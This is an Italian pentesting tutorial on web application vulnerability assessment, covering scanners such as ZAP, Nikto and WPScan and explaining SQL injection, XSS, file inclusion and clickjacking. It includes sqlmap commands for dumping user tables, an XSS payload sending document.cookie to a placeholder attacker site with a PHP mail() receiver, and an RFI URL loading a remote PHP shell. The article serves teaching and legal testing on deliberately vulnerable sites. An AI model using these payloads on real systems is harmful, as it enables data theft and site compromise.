WEB APP PENTESTING

Dopo aver visto come creare un laboratorio virtuale per i propri test e simulazioni, approfondiamo ulteriormente l’argomento vulnerabilities assessment concentrandoci su Web application e siti Web. Essendo queste ultime continuamente esposte a Internet, è facile intuire come una configurazione errata o un aggiornamento non effettuato risultino preziose per un potenziale attaccante.

Vedremo come effettuare una prima valutazione, enumerando le vulnerabilità emerse di modo da poter sfruttare alcune di esse. Ancora una volta, sottolineiamo che compiere le operazioni descritte qui di seguito nei confronti di un target reale e senza consenso esplicito, significa incorrere nelle prescrizioni previste dal Codice Penale.

Per riuscire nel nostro intento ci avvarremo di strumenti open-source (alcuni dotati anche di un’ottima interfaccia grafica) che rendono automatico e relativamente semplice il procedimento di valutazione. Occorre sottolineare come nel mondo reale come questa procedura generi parecchio rumore e sia facilmente individuata (vedasi bloccata) da firewall e dispositivi IDS, anche attraverso proxy e rete Tor. Ulteriori svantaggi sono:

  • enorme quantità di output, spesso contenente falsi positivi che confondono e disorientano il tester (circa il 60% sono falsi positivi);
  • gli scanner, inoltre, possono avere un impatto negativo sul nostro target; in alcuni casi possono anche provocare malfunzionamenti che devono essere corretti manualmente dall’amministratore;
  • le risorse impiegate, in termini di hardware e banda necessarie per la valutazione, possono essere notevoli.

OWASP-ZAP

Cominciamo presentando uno tra gli strumenti multi-piattaforma più amati dai pentester;
ZAP . Sviluppato dal progetto OWASP ( Open Web Application Security Project ), rappresenta un punto di riferimento nel Web penetration testing e il suo funzionamento è in buona parte automatico (anche se a onor del vero i risultati migliori si ottengono impostando il programma come proxy e analizzando ogni singola richiesta ottenuta navigando all’interno del sito web). Infine, permette di esportare i report in formato .xml o .html .

Lanciamo una scansione di prova verso uno dei siti test messi liberamente a disposizione e portiamoci sulla tab Avvisi, che ci mostrerà le vulnerabilità presenti e la loro gravità.

W3af

Altro valido tool multipiattaforma che si distingue per la sua semplicità utilizzo è w3af .
Offre la possibilità di selezionare profili preimpostati di scansione più o meno aggressivi: se non si hanno specifiche esigenze, il consiglio è quello di selezionare la metodologia OWASP , che comprende le voci di audit più utilizzate e significative.

Vega

Nel novero degli scanner automatici vale la pena di menzionare anche Vega, utilizzato soprattutto per fare crawling del sito target, analizzare il contenuto delle pagine, trovare link e altre vulnerabilità. Ha una semplice interfaccia grafica e può essere utilizzato in alternativa anche come proxy. Purtroppo non consente l’esportazione dei risultati della scansione effettuata, costringendo di volta in volta l’operatore a prelevare il database del test dalla cartella di sistema che, nei sistemi operativi Linux, si trova sotto

/usr/share/vega .

Per i più smaliziati vi sono poi diversi tool da riga di comando molto efficaci che sono generalmente preinstallati in qualsiasi distribuzione Linux dedicata alla sicurezza.
Nonostante la mancanza dell’interfaccia grafica, possiedono il grande vantaggio di mostrare tutto l’output generato: oltre a una grande completezza, il tester avrà modo di tenere sott’occhio ogni singola richiesta generata dal programma e il relativo status (o errore restituito).

Skipfish

Skipfish consente di ottenere una mappa del sito target ma è in grado di effettuare anche attacchi dizionario. Cosa interessante da notare, il tool genera una cartella di output con un report in HTML preciso e gradevole da consultare. Tra le diverse opzioni che offre, il suo utilizzo classico è il seguente:

skipfish -o PERCORSO/CARTELLA/DI/REPORT
http:// WWW.SITO.COM/PAGINA_DI_LOGIN.XXX
skipfish -o PERCORSO/CARTELLA/DI/REPORT -W PERCORSO/NOSTRA/WORDLIST
 http:// WWW.SITO.COM/PAGINA_DI_LOGIN.XXX

Ogni tanto, premere la barra spaziatrice all’interno del terminale per avere dettagli in tempo reale sulla scansione. Di seguito il report che è possibile aprire con un comune browser:

Nikto

E’ uno scanner per server Web che valuta soprattutto file CGI pericolosi e software server obsoleto. Esegue controlli specifici ed è in grado di catturare anche i cookie ricevuti.

nikto -host WWW.SITOWEB.COM -T 1 -o PERCORSO/DI/REPORT -F htm

Per identificare eventuali vulnerabilità è necessario osservare l’output del programma: le voci OSVDB seguite da un numero corrispondono a bollettini raccolti da Open Source Vulnerability Database ; ad oggi purtroppo questo portale non viene più aggiornato ma l’output generato rappresenta comunque un ottimo punto di riferimento per una preliminare valutazione. Anche qui vediamo il report del programma in versione HTML.

WPscan

Attualmente il 30% dei siti web è realizzato con WordPress , un CMS ben strutturato e di facilissima gestione. Lo strumento che qui analizzeremo – wpscan – consente di identificare vulnerabilità riscontrate su siti Web realizzati con questa piattaforma. È in grado di analizzare plugin, temi, utenti e così via; il suo database, inoltre, è in costante crescita. A tal proposito, la prima operazione da compiere prima di procedere alla scansione vera e propria, è proprio l’aggiornamento del database di ricerca. Apriamo un
terminale e digitiamo:

sudo wpscan --update
sudo wpscan --url http://WWW.SITO.COM

Per compiere una enumerazione degli Utenti:

sudo wpscan --url http://WWW.SITO.COM --enumerate u

Enumerazione dei Plugin:

sudo wpscan --url http://WWW.SITO.COM --enumerate vp

Enumerazione dei Temi:

sudo wpscan --url http://WWW.SITO.COM --enumerate vt

In presenza di firewall verrà restituita la seguente schermata:

Eventuali vulnerabilità saranno evidenziate nell’output del programma da un [!] arancione o rosso a seconda della gravità riscontrata.

Abbiamo passato brevemente in rassegna l’utilizzo dei principali scanner automatici. Ma quali sono le principali vulnerabilità di cui può soffrire un sito Web? Vediamo di esaminare le principali.

SQL injection

Statisticamente piuttosto diffuse, le SQL injection sono da sempre le preferite dagli hacker per compromettere applicazioni Web; sono sufficienti poche google dorks per rendersi conto del numero elevato di siti che ad oggi ne soffrono. Tuttavia, con l’attuale diffondersi dei più moderni (e sicuri) CMS, il loro numero è in diminuzione. Con una SQL injection, si compie una richiesta SQL non autorizzata su un DBMS, mediante l’inserzione di codice falso all’interno di un URL, di un form o di uno script.

Sempre facendo riferimento al nostro sito test messo a disposizione dal gruppo Acunetix , prendiamo ad esempio la seguente pagina vulnerabile:

➔ http://test.vulnweb.com/artists.php?artist=5-2

Digitando un semplice apice nella barra dell’URL otterremo un messaggio di errore simile al seguente, che ci darà conferma della presenza una vulnerabilità SQLi:

➔ http://test.vulnweb.com/artists.php?artist=5-2’

In alcuni casi, ZAP ci segnala i parametri SQL da inserire nei campi username e password per ottenere una validazione dei dati. Si veda l’esempio seguente:

Con il programma da riga linea di comando sqlmap è poi possibile compiere una enumerazione di database, tabelle, campi e colonne, con l’intento di catturare dati sensibili:

sqlmap -u WWW.PAGINAVULNERABILE.COM --dbs
sqlmap -u WWW.PAGINAVULNERABILE.COM -D NOMEDATABASE
--tables
sqlmap -u WWW.PAGINAVULNERABILE.COM -T users -C id,email --dump
--threads=5

XSS – Cross Site Scripting

Le vulnerabilità XSS sono le più gravi per un’applicazione Web; anche qui gli attacchi prevedono un’iniezione di codice (in questo caso javascript ) da parte di utenti malintenzionati all’interno di pagine Web visualizzate dagli utenti. Statisticamente sono più diffuse delle SQL injection e sfruttandole è possibile provocare danni devastanti alle pagine di siti Web. Il test di valutazione per eccellenza, una volta individuata la pagina vulnerabile, prevede l’inserimento del seguente codice all’interno della barra URL:

<script>alert('CIAO LETTORI DI ICT SECURITY MAGAZINE!!! ABBIAMO UNA PAGINA VULNERABILE')</script>

Vediamo gli effetti su Gruyere , un’applicazione di Google volutamente vulnerabile dedicata a sviluppatori .


Il seguente pop-up ci conferma la presenza della vulnerabilità ipotizzata:


Si distinguono due principali categorie di vulnerabilità XSS :

● Reflected : non consentono un defacing definitivo del sito ma sfruttando la vulnerabilità della pagina, è possibile indurre una vittima in errore. Un attaccante potrebbe incollare e inviare via mail il link della pagina vulnerabile comprensiva del codice malevolo (che prevede, ad esempio, un redirect a un sito poco carino): in questo modo, farebbe in pratica eseguire alla vittima quello che abbiamo verificato in precedenza sulla pagina vulnerabile del nostro sito di prova. Se poi volessimo esagerare, da bravi attaccanti potremmo reindirizzare la vittima verso un link malevolo (magari con grafica e aspetto di un sito fidato) e sottrarre il cookie di autenticazione; ci basterebbe creare un sito Web ad hoc e inserire il seguente codice nell’URL vulnerabile:

<script>WWW.SITOVULNERABILE.COM/pag.php?variabile="><script>location.href="WWW.SITOMALEVOLOATTACCANTE.COM/PAGINARUBACOOKIE.PHP"+document.cookie;</script>

Dove PAGINARUBACOOKIE.PHP è una pagina del sito malevolo che contiene il seguente codice:

<?
mail("EMAIL.ATTACCANTE@EMAIL.COM","Così rubiamo i cookie della vittima",$_GET['cookie']);
?>

Attraverso un semplice cookie manager, sarà possibile riutilizzare le credenziali della vittima.

● Stored: quest’altra tipologia riguarda siti che possiedono un database, che memorizzano informazioni insomma: tipico esempio può essere un form di commento, dove si lasciano il nome e un messaggio (come feedback o guestbook):

USERNAME: QUELLOCHEVUOI
MESSAGGIO: <script>alert(‘ATTENTO SEI VULNERABILE’)</script>

Facciamo un refresh della pagina e vedremo gli effetti: a questo punto possiamo iniettare codice malevolo o reindirizzare anche qui ad altri siti tentando azioni di phishing.

RFI/LFI – Local/Remote File Inclusion

Consideriamo la seguente pagina che i nostri scanner hanno individuato come vulnerabile:

http://WWW.SITOVULNERABILE.COM/index.php?pagina=PAGINAVULNERABILE.php

Modifichiamo l’indirizzo come segue:

http://WWW.SITOVULNERABILE.COM/index.php?var=http://WWW.SITOATTACCANTE/SHELLMALEVOLA.php

A questo punto è chiaro come il rimando al sito malevolo, che comprende una shell in PHP, consenta all’attaccante di caricare qualsivoglia file (immagini, video, eseguibili) sulla pagina Web vulnerabile.

Clickjacking

Attraverso la tecnica del clickjacking, l’utente clicca con il puntatore del mouse un oggetto (un link ad esempio) ma in realtà il suo clic viene reindirizzato, a sua insaputa, su un altro oggetto. Il clickjacking sfrutta JavaScript o un InnerFrame . Questa seconda tipologia è la più pericolosa. Si consideri il seguente esempio: l’attaccante crea un sito di compravendita che però non vediamo; preleva un iFrame trasparente da un altro sito innocuo che, in precedenza, si è rivelato vulnerabile al clickjacking.

Crea un semplice bottoncino con una scritta del tipo “Registrati e scarica la guida gratuita in PDF ”. Posiziona questo iFrame trasparente che ha un pulsante del tipo “Compra ora!” proprio sopra (sovrapposto) al bottoncino appena creato; in alternativa crea un iFrame trasparente che segue sempre il puntatore del mouse, come un’ombra.
Quando la vittima cliccherà per tentare di scaricare la guida, ovviamente verrà reindirizzata al sito di compravendita.

Questo metodo era molto diffuso per rubare i Like di Facebook o modificare le impostazioni dei plugin Adobe, magari attivando la fotocamera del PC. Per verificare che il proprio sito sia suscettibile ad attacchi di questo genere, è necessario creare un file .html che contenga i seguenti parametri:

<HTML>
<BODY>
<H1>SE VEDI LA PAGINA QUI SOTTO, QUESTO SITO È VULNERABILE AL CLICKJACKING</H1>
<IFRAME SRC="http://WWW.SITODAVALUTARE.COM/" HEIGHT="600" WIDTH="800"></IFRAME>
</BODY>
</HTML>

A cura di: Milo Caranti

Profilo Autore

Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.

Condividi sui Social Network:

Articoli simili